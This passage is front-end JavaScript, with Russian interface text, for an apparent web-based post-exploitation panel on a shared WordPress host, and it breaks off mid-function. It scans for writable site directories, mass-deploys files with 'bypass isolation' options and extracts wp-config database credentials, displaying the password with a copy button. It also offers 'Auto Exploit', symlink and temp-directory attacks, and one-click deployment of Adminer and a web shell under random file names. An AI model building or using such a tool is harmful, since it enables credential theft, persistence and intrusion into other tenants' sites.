      const why = p.fs.why ? (' — why: '+p.fs.why) : '';
      const accessLine = 'perm '+(p.fs.perms||'-')
        +' | U:'+(p.fs.u.r?'r':'-')+(p.fs.u.w?'w':'-')+(p.fs.u.x?'x':'-')
        +' G:'+(p.fs.g.r?'r':'-')+(p.fs.g.w?'w':'-')+(p.fs.g.x?'x':'-')
        +' O:'+(p.fs.o.r?'r':'-')+(p.fs.o.w?'w':'-')+(p.fs.o.x?'x':'-')
        +' | traverse:'+(p.fs.can_traverse?'Y':'N')+' list:'+(p.fs.can_list?'Y':'N')+' write:'+(p.fs.can_write?'Y':'N')+why
        +' | world-writable:'+(p.writable_world?'Y':'N')+' group-writable:'+(p.writable_group?'Y':'N');
      const src = p.source ? (' [src: '+p.source+']') : '';
      rows.push('<details class="coll">'
        + '<summary><code>'+p.path+'</code> '+tags.join(' ')+src+'</summary>'
        + '<div class="grid" style="grid-template-columns:1fr 1fr;">'
        +   '<div>'
        +     '<div class="small">WP версия: '+(p.wp.version||'-')+' | URL: '+((p.wp.urls||[]).join(', ')||'-')+'</div>'
        +     '<div class="small">'+accessLine+'</div>'
        +     '<div class="small">owner: '+(p.fs.owner||'-')+' ('+(p.fs.owner_uid||'-')+') | group: '+(p.fs.group||'-')+' ('+(p.fs.group_gid||'-')+')</div>'
        +     '<div class="small '+(htBad.length?'tag-err':'tag-ok')+'">.htaccess: '+(ht.exists?'да':'нет')+(htBad.length?(' — ' + htBad.join('; ')):' — OK')+'</div>'
        +     (p.security ? (
          '<div class="small" style="margin-top:8px;padding:4px;background:var(--card);border:1px solid var(--line);border-radius:4px">'
          + '<strong>Security Flags:</strong><br>'
          + (p.security.wp_config_exists ? ('wp-config: '+(p.security.wp_config_readable?'readable':'not readable')+' | perms: '+(p.security.wp_config_perms||'-')+' | '+(p.security.wp_config_world_readable?'<span style="color:#ff6b6b">WORLD-READABLE</span>':'safe')+'<br>') : '')
          + (p.security.wp_config_symlink ? '<span style="color:#ff6b6b">⚠️ wp-config is symlink</span><br>' : '')
          + (p.security.wp_config_backup_found ? '<span style="color:#ff6b6b">⚠️ wp-config backup files found</span><br>' : '')
          + (p.security.env_files_found && p.security.env_files_found.length > 0 ? '<span style="color:#ff6b6b">⚠️ .env files: '+p.security.env_files_found.length+'</span><br>' : '')
          + (p.security.git_found ? '<span style="color:#ffb454">⚠️ .git directory found</span><br>' : '')
          + (p.security.boundary_info ? ('boundary: '+(p.security.boundary_info.outside_allowed ? '<span style="color:#ffb454">outside allowed</span>' : 'inside allowed')+'<br>') : '')
          + '</div>'
        ) : '')
        +   '</div>'
        +   '<div>'
        +     '<div class="small">Скрытое/бэкапы рядом:</div>'
        +     '<div class="small muted">'+(((p.hidden||[]).map(function(h){return '<code>'+h.name+'</code>';}).join(', '))||'(не обнаружено)')+'</div>'
        +   '</div>'
        + '</div>'
        + '</details>');
    });
    h.push('<tr><td style="width:320px"><strong>'+d.domain+'</strong></td><td>'+rows.join('')+'</td></tr>');
  });
  h.push('</tbody></table>');
  out.innerHTML = h.join('');
}

if (btnScan) {
  btnScan.addEventListener('click', apiScan);
} else {
  console.error('btnScan not found');
}

/* Deploy */
if (btnDeploy) {
  btnDeploy.addEventListener('click', async function(){
  if (!out || !btnDeploy) { console.error('Elements not found for Deploy'); return; }
  try {
    const fd = new FormData();
    fd.append('csrf', window.__CSRF__||'');
    fd.append('only_wp', (wpOnly && wpOnly.checked) ? '1' : '0');
    fd.append('writable_only', (writableOnly && writableOnly.checked) ? '1' : '0');
    fd.append('writable_mode', (writableMode && writableMode.value) || 'effective');
    fd.append('limit', (limit && limit.value) || '1000');
    fd.append('deploy_aggr', (deployAggr && deployAggr.checked) ? '1':'0');
    if (deployBrute && deployBrute.checked) fd.append('deploy_brute','1');
    fd.append('use_docroots', (useDocrootsDeploy && useDocrootsDeploy.checked) ? '1':'0');
    if (docrootsDeepDeploy && docrootsDeepDeploy.checked) fd.append('docroots_deep','1');
    if (globalSweepsDeploy && globalSweepsDeploy.checked) fd.append('global_sweeps','1');
    fd.append('brute_mode', (bruteMode && bruteMode.value) || 'append');
    fd.append('templates', (templates && templates.value) || '');
    fd.append('use_defaults', (scanBrute && scanBrute.checked) ? '1':'0');
    fd.append('client_min', (clientMin && clientMin.value) || '1');
    fd.append('client_max', (clientMax && clientMax.value) || '50');
    fd.append('web_min', (webMin && webMin.value) || '1');
    fd.append('web_max', (webMax && webMax.value) || '50');
    fd.append('cand_limit', (candLimit && candLimit.value) || '3500');
    fd.append('users_mode', (usersMode && usersMode.value) || 'append');
    fd.append('users_custom', (usersCustom && usersCustom.value) || '');
    fd.append('env_list', (envList && envList.value) || '');
    if (targetSub && targetSub.value.trim()!=='') fd.append('target_sub', targetSub.value.trim());
    if (mkSub && mkSub.checked) fd.append('create_subdirs','1');

    if (targetName && targetName.value.trim() !== '') fd.append('target_name', targetName.value.trim());
    if (prefixDomain && prefixDomain.checked) fd.append('prefix_domain','1');
    if (suffixDomain && suffixDomain.checked) fd.append('suffix_domain','1');
    if (dryRun && dryRun.checked) fd.append('dry_run','1');
    if (overwriteMarker && overwriteMarker.checked) fd.append('overwrite_marker','1');
    if (forceWrite && forceWrite.checked) fd.append('force_write','1');
    if (blindDeploy && blindDeploy.checked) { fd.append('blind','1'); fd.append('blind_cap', (blindCapDeploy && blindCapDeploy.value) || '8000'); }
    if (bypassIsolation && bypassIsolation.checked) fd.append('bypass_isolation','1');
    if (bypassExtended && bypassExtended.checked) fd.append('bypass_extended','1');

    if (marker && marker.files && marker.files[0]) fd.append('marker', marker.files[0]);
    else if (markerText && markerText.value.trim() !== '') fd.append('marker_text', markerText.value);
    else { alert('Выбери файл‑маркер или введи текст.'); return; }

    btnDeploy.disabled = true; btnDeploy.textContent = 'Deploy...';
    const r = await fetch('?api=deploy'+dbg, { method:'POST', body: fd });
    const j = await r.json();
    if (j.status!=='ok') { 
      if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: ' + (j.message||'unknown') + (j.fatal?('('+j.fatal.message+')'):'') + '</div>'; 
      return; 
    }
    const ok = j.written;
    const failed = j.results.filter(function(x){return x.status==='failed';}).length;
    const dry = j.results.filter(function(x){return x.status==='dry_run';}).length;
    const rows = [];
    rows.push('<div class="flex"><span class="badge">mode: '+(j.mode||'-')+'</span><span class="badge">ok: '+ok+'</span><span class="badge">dry: '+dry+'</span><span class="badge">failed: '+failed+'</span></div>');
    rows.push('<table><thead><tr><th>Domain</th><th>Path</th><th>File</th><th>Status</th></tr></thead><tbody>');
    j.results.forEach(function(x){ rows.push('<tr><td>'+x.domain+'</td><td><code>'+x.path+'</code></td><td><code>'+(x.file||'')+'</code></td><td>'+x.status+'</td></tr>'); });
    rows.push('</tbody></table>');
    if (out) out.innerHTML = rows.join('');
  } catch(e) {
    console.error('Deploy error:', e);
    if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: '+e.message+'</div>';
  } finally {
    if (btnDeploy) { btnDeploy.disabled = false; btnDeploy.textContent = 'Deploy'; }
  }
  });
} else {
  console.error('btnDeploy not found');
}

/* Delete */
if (btnDelete) {
  btnDelete.addEventListener('click', async function(){
  if (!out || !btnDelete) { console.error('Elements not found for Delete'); return; }
  try {
    const name = prompt('Удалить файлы по точному имени (без масок): введите имя, например "__pt_probe.txt"');
    if (!name) return;
    const fd = new FormData();
    fd.append('csrf', window.__CSRF__||'');
    fd.append('target_name', name);
    fd.append('only_wp', (wpOnly && wpOnly.checked) ? '1' : '0');
    fd.append('writable_mode', (writableMode && writableMode.value) || 'effective');
    fd.append('limit', (limit && limit.value) || '1000');
    if (scanAggr && scanAggr.checked) fd.append('scan_aggr','1');
    if (scanBrute && scanBrute.checked) fd.append('scan_brute','1');
    fd.append('use_docroots', (useDocroots && useDocroots.checked) ? '1':'0');
    if (docrootsDeep && docrootsDeep.checked) fd.append('docroots_deep','1');
    if (globalSweeps && globalSweeps.checked) fd.append('global_sweeps','1');
    fd.append('brute_mode', (bruteMode && bruteMode.value) || 'append');
    fd.append('templates', (templates && templates.value) || '');
    fd.append('use_defaults', (scanBrute && scanBrute.checked) ? '1':'0');
    fd.append('client_min', (clientMin && clientMin.value) || '1');
    fd.append('client_max', (clientMax && clientMax.value) || '50');
    fd.append('web_min', (webMin && webMin.value) || '1');
    fd.append('web_max', (webMax && webMax.value) || '50');
    fd.append('cand_limit', (candLimit && candLimit.value) || '3500');
    fd.append('users_mode', (usersMode && usersMode.value) || 'append');
    fd.append('users_custom', (usersCustom && usersCustom.value) || '');
    fd.append('env_list', (envList && envList.value) || '');
    if (targetSub && targetSub.value.trim()!=='') fd.append('target_sub', targetSub.value.trim());
    if (blindDeploy && blindDeploy.checked) { fd.append('blind','1'); fd.append('blind_cap', (blindCapDeploy && blindCapDeploy.value) || '8000'); }
    if (bypassIsolation && bypassIsolation.checked) fd.append('bypass_isolation','1');
    if (bypassExtended && bypassExtended.checked) fd.append('bypass_extended','1');

    if (btnDelete) { btnDelete.disabled = true; btnDelete.textContent = 'Deleting...'; }
    const r = await fetch('?api=delete'+dbg, { method:'POST', body: fd });
    const j = await r.json();
    if (j.status!=='ok') { 
      if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: ' + (j.message||'unknown') + (j.fatal?('('+j.fatal.message+')'):'') + '</div>'; 
      return; 
    }
    const del = j.deleted;
    const rows = [];
    rows.push('<div class="flex"><span class="badge">mode: '+(j.mode||'-')+'</span><span class="badge">deleted: '+del+'</span><span class="badge">scanned: '+j.results.length+'</span></div>');
    rows.push('<table><thead><tr><th>Domain</th><th>Path</th><th>File</th><th>Status</th></tr></thead><tbody>');
    j.results.forEach(function(x){ rows.push('<tr><td>'+x.domain+'</td><td><code>'+x.path+'</code></td><td><code>'+(x.file||'')+'</code></td><td>'+x.status+'</td></tr>'); });
    rows.push('</tbody></table>');
    if (out) out.innerHTML = rows.join('');
  } catch(e) {
    console.error('Delete error:', e);
    if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: '+e.message+'</div>';
  } finally {
    if (btnDelete) { btnDelete.disabled = false; btnDelete.textContent = 'Delete'; }
  }
  });
} else {
  console.error('btnDelete not found');
}

/* ==================== НОВЫЕ ФУНКЦИИ ПЕНТЕСТА ==================== */

// Модальное окно пентеста
function openPentestModal(title, content) {
  var modal = document.getElementById('pentestModal');
  var titleEl = document.getElementById('pentestModalTitle');
  var contentEl = document.getElementById('pentestModalContent');
  if (modal && titleEl && contentEl) {
    titleEl.textContent = title;
    contentEl.innerHTML = content;
    modal.style.display = 'block';
  }
}

function closePentestModal() {
  var modal = document.getElementById('pentestModal');
  if (modal) modal.style.display = 'none';
}

// Закрытие модала по клику вне контента
document.addEventListener('click', function(e) {
  var modal = document.getElementById('pentestModal');
  if (e.target === modal) closePentestModal();
});

// Форматирование JSON для отображения
function formatJsonHtml(obj, indent) {
  indent = indent || 0;
  var pad = '  '.repeat(indent);
  var html = '';
  
  if (Array.isArray(obj)) {
    if (obj.length === 0) return '<span style="color:#888">[]</span>';
    html += '[<br>';
    obj.forEach(function(item, i) {
      html += pad + '  ' + formatJsonHtml(item, indent + 1);
      if (i < obj.length - 1) html += ',';
      html += '<br>';
    });
    html += pad + ']';
  } else if (obj && typeof obj === 'object') {
    var keys = Object.keys(obj);
    if (keys.length === 0) return '<span style="color:#888">{}</span>';
    html += '{<br>';
    keys.forEach(function(key, i) {
      var val = obj[key];
      var color = typeof val === 'boolean' ? (val ? '#0f0' : '#f66') : 
                  typeof val === 'number' ? '#6cf' : 
                  typeof val === 'string' ? '#fc6' : '#fff';
      html += pad + '  <span style="color:#9cf">"' + key + '"</span>: ';
      html += formatJsonHtml(val, indent + 1);
      if (i < keys.length - 1) html += ',';
      html += '<br>';
    });
    html += pad + '}';
  } else if (typeof obj === 'string') {
    html += '<span style="color:#fc6">"' + obj.replace(/</g, '&lt;').replace(/>/g, '&gt;').substring(0, 500) + (obj.length > 500 ? '...' : '') + '"</span>';
  } else if (typeof obj === 'boolean') {
    html += '<span style="color:' + (obj ? '#0f0' : '#f66') + '">' + obj + '</span>';
  } else if (typeof obj === 'number') {
    html += '<span style="color:#6cf">' + obj + '</span>';
  } else if (obj === null) {
    html += '<span style="color:#888">null</span>';
  } else {
    html += String(obj);
  }
  
  return html;
}

// Рендер отчета уязвимостей
function renderVulnReport(vulns) {
  var h = [];
  
  // Core
  if (vulns.core && vulns.core.version) {
    h.push('<div class="card" style="margin-bottom:15px">');
    h.push('<h4>🏠 WordPress Core: ' + vulns.core.version + '</h4>');
    if (vulns.core.vulnerabilities && vulns.core.vulnerabilities.length > 0) {
      h.push('<table><tr><th>CVE</th><th>Description</th><th>Severity</th><th>Max Version</th></tr>');
      vulns.core.vulnerabilities.forEach(function(v) {
        var sevColor = v.severity === 'critical' ? '#f66' : (v.severity === 'high' ? '#fa0' : (v.severity === 'medium' ? '#ff0' : '#0f0'));
        h.push('<tr><td>' + (v.cve || '-') + '</td><td>' + v.description + '</td><td style="color:' + sevColor + '">' + v.severity.toUpperCase() + '</td><td>' + v.max_version + '</td></tr>');
      });
      h.push('</table>');
    } else {
      h.push('<div class="tag-ok">✓ No known vulnerabilities for this version</div>');
    }
    h.push('</div>');
  }
  
  // Plugins
  if (vulns.plugins && Object.keys(vulns.plugins).length > 0) {
    h.push('<div class="card" style="margin-bottom:15px">');
    h.push('<h4>🔌 Vulnerable Plugins (' + Object.keys(vulns.plugins).length + ')</h4>');
    h.push('<table><tr><th>Plugin</th><th>Version</th><th>Vulnerabilities</th><th>Exploitable</th></tr>');
    Object.keys(vulns.plugins).forEach(function(plugin) {
      var p = vulns.plugins[plugin];
      var vulnCount = p.vulnerabilities ? p.vulnerabilities.length : 0;
      var exploitable = p.exploitable ? '<span class="tag-err">YES - ' + p.exploitable.description + '</span>' : '-';
      h.push('<tr><td><strong>' + plugin + '</strong><br><small>' + (p.name || '') + '</small></td><td>' + (p.version || '-') + '</td><td>' + vulnCount + '</td><td>' + exploitable + '</td></tr>');
    });
    h.push('</table>');
    h.push('</div>');
  }
  
  // Config issues
  if (vulns.configs && vulns.configs.issues && vulns.configs.issues.length > 0) {
    h.push('<div class="card" style="margin-bottom:15px">');
    h.push('<h4>⚙️ Configuration Issues (' + vulns.configs.issues.length + ')</h4>');
    h.push('<table><tr><th>Issue</th><th>Severity</th><th>Recommendation</th></tr>');
    vulns.configs.issues.forEach(function(issue) {
      var sevColor = issue.severity === 'critical' ? '#f66' : (issue.severity === 'high' ? '#fa0' : (issue.severity === 'medium' ? '#ff0' : '#0f0'));
      h.push('<tr><td>' + issue.issue + '</td><td style="color:' + sevColor + '">' + issue.severity.toUpperCase() + '</td><td>' + issue.recommendation + '</td></tr>');
    });
    h.push('</table>');
    h.push('</div>');
  }
  
  return h.join('');
}

// Рендер пентест-отчета
function renderPentestReport(report) {
  var h = [];
  
  // Risk Score
  var riskColor = report.risk_level === 'critical' ? '#f66' : (report.risk_level === 'high' ? '#fa0' : (report.risk_level === 'medium' ? '#ff0' : '#0f0'));
  h.push('<div class="flex" style="margin-bottom:15px">');
  h.push('<span class="badge" style="font-size:16px;padding:10px 15px;background:' + riskColor + '20;border-color:' + riskColor + '">Risk Score: ' + report.risk_score + '/100 (' + report.risk_level.toUpperCase() + ')</span>');
  h.push('<span class="badge">Target: ' + report.target + '</span>');
  h.push('<span class="badge">Time: ' + report.timestamp + '</span>');
  h.push('</div>');
  
  // WordPress Info
  if (report.wordpress) {
    h.push('<details class="coll" open><summary>🏠 WordPress Info</summary><div class="kv small">');
    h.push('<div>Version</div><div>' + (report.wordpress.version || '-') + '</div>');
    h.push('<div>Multisite</div><div>' + (report.wordpress.multisite && report.wordpress.multisite.multisite ? 'Yes' : 'No') + '</div>');
    h.push('<div>URLs</div><div>' + ((report.wordpress.urls || []).join(', ') || '-') + '</div>');
    h.push('</div></details>');
  }
  
  // Vulnerabilities
  if (report.vulnerabilities) {
    h.push('<details class="coll" open><summary>⚠️ Vulnerabilities</summary><div>');
    h.push(renderVulnReport(report.vulnerabilities));
    h.push('</div></details>');
  }
  
  // Database
  if (report.database && report.database.wp_config_found) {
    h.push('<details class="coll"><summary>🗄️ Database Analysis</summary><div class="kv small">');
    h.push('<div>Connection</div><div>' + (report.database.connection_test && report.database.connection_test.success ? '<span class="tag-ok">SUCCESS</span>' : '<span class="tag-err">FAILED</span>') + '</div>');
    if (report.database.connection_test && report.database.connection_test.success) {
      h.push('<div>Server</div><div>' + (report.database.connection_test.server_info || '-') + '</div>');
      h.push('<div>Databases</div><div>' + (report.database.databases || []).length + ' found</div>');
      h.push('<div>FILE Privilege</div><div>' + (report.database.exploits && report.database.exploits.has_file_privilege ? '<span class="tag-err">YES - CAN READ FILES</span>' : '<span class="tag-ok">No</span>') + '</div>');
      if (report.database.other_sites && report.database.other_sites.length > 0) {
        h.push('<div>Other WP Sites</div><div>' + report.database.other_sites.length + ' found in database</div>');
      }
    }
    h.push('</div></details>');
  }
  
  // Exploits
  if (report.exploits && Object.keys(report.exploits).length > 0) {
    h.push('<details class="coll" open><summary>⚡ Successful Exploits (' + Object.keys(report.exploits).length + ')</summary><div>');
    h.push('<table><tr><th>Type</th><th>Method</th><th>Details</th></tr>');
    Object.keys(report.exploits).forEach(function(key) {
      var exp = report.exploits[key];
      h.push('<tr><td><strong>' + key + '</strong></td><td>' + (exp.method || '-') + '</td><td>' + (exp.url || exp.details || exp.path || '-') + '</td></tr>');
    });
    h.push('</table></div></details>');
  }
  
  // Recommendations
  if (report.recommendations && report.recommendations.length > 0) {
    h.push('<details class="coll" open><summary>📋 Recommendations (' + report.recommendations.length + ')</summary><div>');
    h.push('<table><tr><th>Priority</th><th>Action</th><th>Details</th></tr>');
    report.recommendations.forEach(function(rec) {
      var prioColor = rec.priority === 'critical' ? '#f66' : (rec.priority === 'high' ? '#fa0' : (rec.priority === 'medium' ? '#ff0' : '#0f0'));
      h.push('<tr><td style="color:' + prioColor + '">' + rec.priority.toUpperCase() + '</td><td>' + rec.action + '</td><td>' + (rec.details || '') + '</td></tr>');
    });
    h.push('</table></div></details>');
  }
  
  // File System
  if (report.file_system && report.file_system.security_flags) {
    h.push('<details class="coll"><summary>📁 File System Security</summary><div class="small">');
    h.push('<pre style="background:#0b0f13;padding:10px;border-radius:5px;overflow-x:auto">' + formatJsonHtml(report.file_system.security_flags) + '</pre>');
    h.push('</div></details>');
  }
  
  // Bypass Results
  if (report.bypass_results) {
    var bypassCount = 0;
    Object.keys(report.bypass_results).forEach(function(k) {
      bypassCount += (report.bypass_results[k] || []).length;
    });
    h.push('<details class="coll"><summary>🌀 Bypass Results (' + bypassCount + ' findings)</summary><div class="small">');
    h.push('<pre style="background:#0b0f13;padding:10px;border-radius:5px;overflow-x:auto;max-height:300px">' + formatJsonHtml(report.bypass_results) + '</pre>');
    h.push('</div></details>');
  }
  
  return h.join('');
}

// DB Explorer
var btnDbExplorer = document.getElementById('btnDbExplorer');
if (btnDbExplorer) {
  btnDbExplorer.addEventListener('click', async function() {
    var path = prompt('Введите путь к WordPress корню:', '/home/user/public_html');
    if (!path) return;
    
    this.disabled = true;
    this.textContent = 'Loading...';
    
    try {
      var fd = new FormData();
      fd.append('path', path);
      fd.append('csrf', window.__CSRF__ || '');
      
      var response = await fetch('?api=db_explore' + dbg, { method: 'POST', body: fd });
      var data = await response.json();
      
      if (data.status === 'ok' && data.db_info) {
        var db = data.db_info;
        var html = '<div class="kv">';
        html += '<div>wp-config.php</div><div>' + (db.wp_config_found ? '<span class="tag-ok">Found</span>' : '<span class="tag-err">Not Found</span>') + '</div>';
        
        if (db.db_credentials && Object.keys(db.db_credentials).length > 0) {
          html += '<div>DB Name</div><div><code>' + (db.db_credentials.DB_NAME || '-') + '</code></div>';
          html += '<div>DB User</div><div><code>' + (db.db_credentials.DB_USER || '-') + '</code></div>';
          html += '<div>DB Host</div><div><code>' + (db.db_credentials.DB_HOST || 'localhost') + '</code></div>';
          html += '<div>Table Prefix</div><div><code>' + (db.db_credentials.table_prefix || 'wp_') + '</code></div>';
          // Пароль со скрытием
          var dbPass = db.db_credentials.DB_PASSWORD || '';
          var passId = 'dbpass_' + Math.random().toString(36).substr(2, 9);
          html += '<div>DB Password</div><div>';
          html += '<span id="' + passId + '_hidden" style="cursor:pointer;color:#fa0" onclick="document.getElementById(\'' + passId + '_hidden\').style.display=\'none\';document.getElementById(\'' + passId + '_show\').style.display=\'inline\'">🔒 <u>Click to reveal</u></span>';
          html += '<span id="' + passId + '_show" style="display:none"><code style="background:#300;padding:2px 8px;border-radius:3px">' + dbPass + '</code> <button class="btn small" onclick="navigator.clipboard.writeText(\'' + dbPass.replace(/'/g, "\\'") + '\').then(function(){alert(\'Copied!\')})">📋</button></span>';
          html += '</div>';
        }
        
        if (db.connection_test) {
          html += '<div>Connection</div><div>' + (db.connection_test.success ? '<span class="tag-ok">SUCCESS - ' + (db.connection_test.server_info || '') + '</span>' : '<span class="tag-err">FAILED: ' + (db.connection_test.error || '') + '</span>') + '</div>';
        }
        
        if (db.databases && db.databases.length > 0) {
          html += '<div>Databases</div><div>' + db.databases.length + ' accessible: <code>' + db.databases.join(', ') + '</code></div>';
        }
        
        if (db.exploits) {
          html += '<div>FILE Privilege</div><div>' + (db.exploits.has_file_privilege ? '<span class="tag-err">YES - Can read/write files!</span>' : '<span class="tag-ok">No</span>') + '</div>';
          html += '<div>OUTFILE Write</div><div>' + (db.exploits.can_write_outfile ? '<span class="tag-err">YES - Can write files via SQL!</span>' : '<span class="tag-ok">No</span>') + '</div>';
          
          if (db.exploits.file_read_test && db.exploits.file_read_test.length > 0) {
            html += '<div>File Read Test</div><div>';
            db.exploits.file_read_test.forEach(function(f) {
              html += '<div class="tag-err">✓ Read ' + f.file + '</div>';
            });
            html += '</div>';
          }
        }
        
        if (db.other_sites && db.other_sites.length > 0) {
          html += '<div>Other WP Sites</div><div>' + db.other_sites.length + ' WordPress databases found:</div>';
          html += '</div><table><tr><th>Database</th><th>Site URL</th><th>Tables</th></tr>';
          db.other_sites.forEach(function(site) {
            html += '<tr><td>' + site.database + '</td><td>' + (site.siteurl || site.home || '-') + '</td><td>' + site.tables_count + '</td></tr>';
          });
          html += '</table>';
        } else {
          html += '</div>';
        }
        
        // Кнопки действий
        html += '<div style="margin-top:15px;display:flex;gap:10px">';
        html += '<button class="btn" onclick="deployAdminer(\'' + path.replace(/'/g, "\\'") + '\')">📥 Deploy Adminer</button>';
        html += '<button class="btn" onclick="deployShell(\'' + path.replace(/'/g, "\\'") + '\', \'advanced\')">🐚 Deploy Shell</button>';
        html += '</div>';
        
        openPentestModal('🔍 Database Explorer - ' + path, html);
      } else {
        alert('Error: ' + (data.message || 'Unknown error'));
      }
    } catch (e) {
      alert('Error: ' + e.message);
    } finally {
      this.disabled = false;
      this.textContent = '🔍 DB Explorer';
    }
  });
}

// Vuln Scan
var btnVulnScan = document.getElementById('btnVulnScan');
if (btnVulnScan) {
  btnVulnScan.addEventListener('click', async function() {
    var path = prompt('Введите путь к WordPress корню:', '/home/user/public_html');
    if (!path) return;
    
    this.disabled = true;
    this.textContent = 'Scanning...';
    
    try {
      var fd = new FormData();
      fd.append('path', path);
      fd.append('csrf', window.__CSRF__ || '');
      
      var response = await fetch('?api=scan_vulns' + dbg, { method: 'POST', body: fd });
      var data = await response.json();
      
      if (data.status === 'ok') {
        var html = renderVulnReport(data.vulnerabilities);
        
        // Кнопки действий
        html += '<div style="margin-top:15px;display:flex;gap:10px">';
        html += '<button class="btn" onclick="autoExploit(\'' + path.replace(/'/g, "\\'") + '\')">⚡ Auto Exploit</button>';
        html += '<button class="btn" onclick="generateReport(\'' + path.replace(/'/g, "\\'") + '\')">📊 Full Report</button>';
        html += '</div>';
        
        openPentestModal('⚠️ Vulnerability Scan - ' + path, html);
      } else {
        alert('Error: ' + (data.message || 'Unknown error'));
      }
    } catch (e) {
      alert('Error: ' + e.message);
    } finally {
      this.disabled = false;
      this.textContent = '⚠️ Vuln Scan';
    }
  });
}

// Auto Exploit
var btnAutoExploit = document.getElementById('btnAutoExploit');
if (btnAutoExploit) {
  btnAutoExploit.addEventListener('click', async function() {
    var path = prompt('Введите путь к WordPress корню для автоэксплуатации:', '/home/user/public_html');
    if (!path) return;
    
    if (!confirm('ВНИМАНИЕ! Это запустит автоматическую эксплуатацию уязвимостей на ' + path + '. Продолжить?')) return;
    
    this.disabled = true;
    this.textContent = 'Exploiting...';
    
    try {
      await autoExploit(path);
    } finally {
      this.disabled = false;
      this.textContent = '⚡ Auto Exploit';
    }
  });
}

async function autoExploit(path) {
  var fd = new FormData();
  fd.append('path', path);
  fd.append('csrf', window.__CSRF__ || '');
  
  var response = await fetch('?api=auto_exploit' + dbg, { method: 'POST', body: fd });
  var data = await response.json();
  
  if (data.status === 'ok') {
    var html = '';
    var exploitCount = Object.keys(data.exploits || {}).length;
    
    if (exploitCount > 0) {
      html += '<div class="tag-err" style="padding:10px;margin-bottom:15px">⚡ ' + exploitCount + ' successful exploits found!</div>';
      html += '<table><tr><th>Type</th><th>Method</th><th>URL/Path</th><th>Details</th></tr>';
      Object.keys(data.exploits).forEach(function(key) {
        var exp = data.exploits[key];
        html += '<tr><td><strong>' + key + '</strong></td><td>' + (exp.method || '-') + '</td><td><code>' + (exp.url || exp.path || '-') + '</code></td><td>' + (exp.details || (exp.users ? exp.users.length + ' users found' : '-')) + '</td></tr>';
      });
      html += '</table>';
    } else {
      html += '<div class="tag-ok" style="padding:10px">✓ No exploitable vulnerabilities found</div>';
    }
    
    // Показать уязвимости
    html += '<hr><h4>Vulnerabilities Scanned:</h4>';
    html += renderVulnReport(data.vulnerabilities);
    
    openPentestModal('⚡ Auto Exploit Results - ' + path, html);
  } else {
    alert('Error: ' + (data.message || 'Unknown error'));
  }
}

// Pentest Report
var btnPentestReport = document.getElementById('btnPentestReport');
if (btnPentestReport) {
  btnPentestReport.addEventListener('click', async function() {
    var path = prompt('Введите путь к WordPress корню для полного отчета:', '/home/user/public_html');
    if (!path) return;
    
    this.disabled = true;
    this.textContent = 'Generating...';
    
    try {
      await generateReport(path);
    } finally {
      this.disabled = false;
      this.textContent = '📊 Report';
    }
  });
}

async function generateReport(path) {
  var fd = new FormData();
  fd.append('path', path);
  fd.append('csrf', window.__CSRF__ || '');
  fd.append('save', '0');
  
  var response = await fetch('?api=pentest_report' + dbg, { method: 'POST', body: fd });
  var data = await response.json();
  
  if (data.status === 'ok') {
    var html = renderPentestReport(data.report);
    openPentestModal('📊 Pentest Report - ' + path, html);
  } else {
    alert('Error: ' + (data.message || 'Unknown error'));
  }
}

// Advanced Bypass
var btnAdvancedBypass = document.getElementById('btnAdvancedBypass');
if (btnAdvancedBypass) {
  btnAdvancedBypass.addEventListener('click', async function() {
    this.disabled = true;
    this.textContent = 'Testing...';
    
    try {
      var response = await fetch('?api=advanced_bypass' + dbg);
      var data = await response.json();
      
      if (data.status === 'ok') {
        var results = data.bypass_results;
        var html = '';
        
        // Write Access
        if (results.write_access && results.write_access.length > 0) {
          html += '<div class="card" style="margin-bottom:15px"><h4 class="tag-err">✓ Write Access Found (' + results.write_access.length + ')</h4>';
          html += '<table><tr><th>Method</th><th>Path</th><th>Readable</th></tr>';
          results.write_access.forEach(function(w) {
            html += '<tr><td>' + w.method + '</td><td><code>' + w.path + '</code></td><td>' + (w.readable ? 'Yes' : 'No') + '</td></tr>';
          });
          html += '</table></div>';
        }
        
        // Symlink Attacks
        if (results.symlink_attacks && results.symlink_attacks.length > 0) {
          html += '<div class="card" style="margin-bottom:15px"><h4>🔗 Symlink Attacks (' + results.symlink_attacks.length + ')</h4>';
          html += '<table><tr><th>Target</th><th>Readable</th><th>Preview</th></tr>';
          results.symlink_attacks.forEach(function(s) {
            html += '<tr><td>' + s.target + '</td><td>' + (s.readable ? '<span class="tag-ok">Yes</span>' : 'No') + '</td><td><code>' + (s.preview || '-').substring(0, 100) + '</code></td></tr>';
          });
          html += '</table></div>';
        }
        
        // Temp Attacks
        if (results.temp_attacks && results.temp_attacks.length > 0) {
          html += '<div class="card" style="margin-bottom:15px"><h4>📁 Temp Directories</h4>';
          html += '<table><tr><th>Path</th><th>Readable</th><th>Writable</th><th>PHP Writable</th></tr>';
          results.temp_attacks.forEach(function(t) {
            html += '<tr><td>' + t.path + '</td><td>' + (t.readable ? '✓' : '-') + '</td><td>' + (t.writable ? '✓' : '-') + '</td><td>' + (t.php_writable ? '<span class="tag-err">✓ YES</span>' : '-') + '</td></tr>';
          });
          html += '</table></div>';
        }
        
        // Read Access
        if (results.read_access && results.read_access.length > 0) {
          html += '<div class="card" style="margin-bottom:15px"><h4>📖 Read Access (' + results.read_access.length + ')</h4>';
          html += '<pre style="background:#0b0f13;padding:10px;max-height:200px;overflow:auto">' + formatJsonHtml(results.read_access) + '</pre></div>';
        }
        
        // Wrappers
        if (results.wrapper_attacks && results.wrapper_attacks.length > 0) {
          html += '<div class="card"><h4>🔧 Available Wrappers</h4>';
          html += '<div class="flex">';
          results.wrapper_attacks.forEach(function(w) {
            html += '<span class="badge">' + w.wrapper + '://</span>';
          });
          html += '</div></div>';
        }
        
        if (!html) {
          html = '<div class="tag-ok" style="padding:20px">No bypass opportunities found</div>';
        }
        
        openPentestModal('🌀 Advanced Bypass Results', html);
      } else {
        alert('Error: ' + (data.message || 'Unknown error'));
      }
    } catch (e) {
      alert('Error: ' + e.message);
    } finally {
      this.disabled = false;
      this.textContent = '🌀 Bypass+';
    }
  });
}

// Deploy Adminer
async function deployAdminer(path) {
  var name = prompt('Имя файла для Adminer:', 'dbadmin_' + Math.random().toString(36).substr(2, 6) + '.php');
  if (!name) return;
  
  var fd = new FormData();
  fd.append('path', path);
  fd.append('name', name);
  fd.append('csrf', window.__CSRF__ || '');
  
